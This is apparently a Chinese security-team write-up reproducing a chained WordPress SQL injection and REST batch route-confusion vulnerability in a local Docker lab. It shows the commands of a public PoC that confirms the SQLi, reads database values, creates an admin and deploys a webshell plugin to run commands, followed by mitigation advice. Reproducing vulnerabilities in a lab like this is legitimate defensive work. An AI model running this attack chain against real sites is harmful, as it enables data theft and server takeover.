CVE复现 | CVE-2026-63030 && CVE-2026-60137组合漏洞本地复现

原创

LRT凌日
LRT凌日

凌日网络与信息安全团队LapR1skT

2026年8月13日 09:00
重庆

在小说阅读器读本章

去阅读

漏洞概述

CVE-2026-60137 是一个存在于 WordPress Core 查询处理逻辑中的 SQL Injection 漏洞。 漏洞根源在于 WP\Query 组件处理 author\\_not\_in 参数时， 未能充分限制来自外部输入的数据。

当插件或主题代码将未经充分验证的数据传递给该参数时， 攻击者可能通过构造特殊输入影响数据库查询逻辑，从而造成 SQL 注入风险。

CVE-2026-63030 则属于 WordPress REST API Batch Endpoint 路由混淆漏洞。 该问题源于批量请求处理过程中，不同请求路径与处理逻辑之间存在解析差异， 可能导致请求被错误映射到非预期处理流程。

单独来看，两个漏洞影响范围和攻击能力存在差异； 但在特定环境下，攻击者可以利用 REST API 路由混淆扩大 SQL Injection 漏洞暴露面， 最终形成从未授权访问到远程代码执行风险的攻击链。

CVE 编号

影响版本

WordPress 官方公告指出： 6.8.6 修复 SQL Injection 问题； 6.9.5 与 7.0.2 同时修复 CVE-2026-60137 和 CVE-2026-63030。 低于 6.8 的版本不受此次漏洞影响。

漏洞详情

WordPress Core 的安全问题通常并非来源于单一功能缺陷，而是在长期演进过程中， 新旧组件、兼容逻辑以及第三方生态之间相互影响产生。 CVE-2026-60137 与 CVE-2026-63030 就体现了现代 Web 应用中“输入处理”和“请求路由”两个层面的风险。

技术原理分析

01

CVE-2026-60137 技术原理分析

该漏洞存在于 WordPress 查询构造流程。 WordPress 内部大量功能依赖 WP\Query 类完成文章、用户以及权限相关数据查询。 其中 author\\_not\_in 参数用于排除指定作者 ID。

正常情况下，该参数应该只接受经过验证的整数数组。 但在漏洞版本中，如果调用链未正确过滤输入，攻击者可能影响最终生成的 SQL 查询语句。

漏洞修复前逻辑示意

1. $query_value = request_parameter();

3. $sql = build_query(author__not_in);

5. // 外部输入进入查询流程，缺少严格类型约束

修复后的核心思路并不是简单增加字符串过滤，而是强化输入来源控制：

漏洞修复后逻辑示意

1. $value = sanitize_parameter();

3. $value = validate_integer_list();

5. query=preparesafequery(value);

从安全设计角度来看，该漏洞属于典型的“信任边界失效”问题。 开发者假设进入核心查询层的数据已经可信，但在复杂插件生态环境中， 这种假设并不成立。

02

CVE-2026-63030 技术原理分析

WordPress REST API 支持 Batch Request（批量请求）机制， 该功能用于提高多个 API 请求处理效率。

漏洞产生原因在于批量请求解析过程中， 请求路径、HTTP 方法以及内部路由匹配之间存在解释差异。 攻击者可能构造特殊请求，使系统按照非预期方式处理 API 调用。

简单理解： 前端认为某个请求属于 A 路由， 但后端解析时可能将其识别为 B 路由。 这种“同一个输入，不同组件不同理解”的情况， 就是 CWE-436 Interpretation Conflict 的典型表现。

攻击流程通常包括：

漏洞复现

01

Docker 部署 WordPress 靶场

确认 Docker 已正常安装：

1. docker --version

输出：

1. Docker version 29.1.3, build 29.1.3-0ubuntu3~22.04.2

由于我当前 Ubuntu 软件源提供的是 Docker Compose V1，因此安装 docker-compose：

1. sudo apt update
2. sudo apt install docker-compose -y

验证：

1. docker-compose version

输出：

1. docker-compose version 1.29.2, build unknown

3. docker-py version:5.0.3

5. CPython version:3.10.12

7. OpenSSL version:OpenSSL3.0.215Mar2022

编写 Docker Compose 配置

创建配置文件：nano docker-compose.yml

（https://github.com/gentleman567/POC/blob/main/docker-compose.yml）

WordPress Web 服务映射到：127.0.0.1:8080

因此漏洞靶场只在本机访问。

完成配置后检查：

1. docker-compose config

配置文件能够正常解析，说明 Docker Compose 配置没有语法错误。

随后下载相应MySQL、WP-CLI与WordPress镜像

启动并初始化 WordPress（账号+密码）

1. #启动容器
2. docker compose up -d
3. 查看容器状态
4. docker compose ps
5. #初始化WordPress
6. docker compose run --rm wpcli core install \\
7. --url='http://127.0.0.1:8080' \\
8. --title='wp-lab' \\
9. --admin_user='labadmin' \\
10. --admin_password='LabOnly_2026!ChangeMe' \\
11. --admin_email='[email protected]' \\
12. --skip-email

查看 WordPress 版本，显示7.0.1，同时打开127.0.0.1:8080是否有效访问

02

准备 PoC 环境

准备 PoC 环境

本次使用开源 PoC：

1. https://github.com/Icex0/wp2shell-poc

POC 整体利用链流程：

1. 检测 WordPress 指纹与版本

2. 探测 REST Batch API 行为

3. 判断是否存在 route‑confusion 特征

4. 主动确认 SQL 注入

5. 通过 SQL 注入读取数据库信息

6. 通过 SQLi‑to‑admin bridge 创建临时管理员

7. 登录后台上传临时插件

8. 通过插件执行系统命令

9. 删除临时管理员并尝试清理插件

并检测POC是否可用

03

靶场测试

SQL 注入确认

执行：

1. python3 wp2shell.py check http://127.0.0.1:8080 --confirm-sqli

输出：

1. [+] VULNERABLE — batch route-confusion behavior detected.

5. [+]SQLi confirmed — UNION fake-post read returned data.

其中：SQLi confirmed

表示 SQL 注入链路已经确认。

数据库读取验证

读取当前数据库名称

执行：

1. python3 wp2shell.py read http://127.0.0.1:8080 --query \"SELECT DATABASE()\"

输出：

1. [+] UNION extraction available (in-band, one request per value)—using it.

5. [*]Reading: SELECT DATABASE()

9. [+]Result: wordpress

说明通过 SQL 注入读取到当前数据库名称：

wordpress

读取 MySQL 数据库版本

执行：

1. python3 wp2shell.py read http://127.0.0.1:8080 --query \"SELECT @@version\"

输出：

1. [+] UNION extraction available (in-band, one request per value)—using it.

5. [*]Reading: SELECT @@version

9. [+]Result:8.0.46

说明成功读取 MySQL 数据库版本：

8.0.46

命令执行验证

执行无害命令

本步骤仅针对本地 Docker 靶场执行 id 和 uname 等无害命令，不执行反弹 Shell、持久化、下载远程脚本或破坏性命令。

执行：

1. python3 wp2shell.py shell http://127.0.0.1:8080 \\

3. --user 'labadmin' \\

5. --password 'LabOnly_2026!ChangeMe' \\

7. --cmd 'printf \"WP2SHELL_OK\
\"; id; uname -a'

PoC 首先进行 WordPress 管理员认证：

1. [+]Authenticated.

随后部署临时插件：

1. [*]Deploying webshell plugin...

并返回 WebShell 地址。

命令执行结果：

WP2SHELL\_OK

说明预设的命令执行标记成功返回。

关键输出：

1. WP2SHELL_OK

3. uid=33(www-data)

说明命令已经在 WordPress 容器中成功执行，执行身份为www-data

修复建议

01

升级 WordPress Core

最有效的修复方式是升级 WordPress 到官方修复版本。

建议版本如下：

02

临时限制 REST Batch API

如果短时间内无法升级，可以先在反向代理、WAF 或安全网关中限制匿名访问 Batch API。

重点限制以下路径：

1. /wp-json/batch/v1
2. ?rest_route=/batch/v1

03

限制后台插件上传能力

本漏洞链后半部分依赖管理员权限上传插件，因此可以通过限制插件安装能力降低风险。

如果生产环境依赖后台更新插件，不建议长期启用 DISALLOW\_FILE\_MODS，可以改为通过 CI/CD、SFTP 或运维流程统一更新。

参考文章

WordPress 最新组合漏洞本地复现：CVE-2026-63030 && CVE-2026-60137-CSDN博客
（https://blog.csdn.net/m0\_62629705/article/details/163107884?ops\_request\_misc=&request\_id=&biz\_id=102&utm\_term=CVE-2026-63030%20&utm\_medium=distribute.pc\_search\_result.none-task-blog-2~all~sobaiduweb~default-0-163107884.142^v102^pc\_search\_result\_base8&spm=1018.2226.3001.4187）

WordPress Core高危漏洞分析：CVE-2026-60137 与 CVE-2026-63030 组合攻击链曝光-腾讯云开发者社区-腾讯云
（https://cloud.tencent.com/developer/article/2713079）

免责声明：由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号凌日网络与信息安全团队及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

文案|孟凡杰

排版|孟凡杰
校正|李昕洋

审核|林炳辰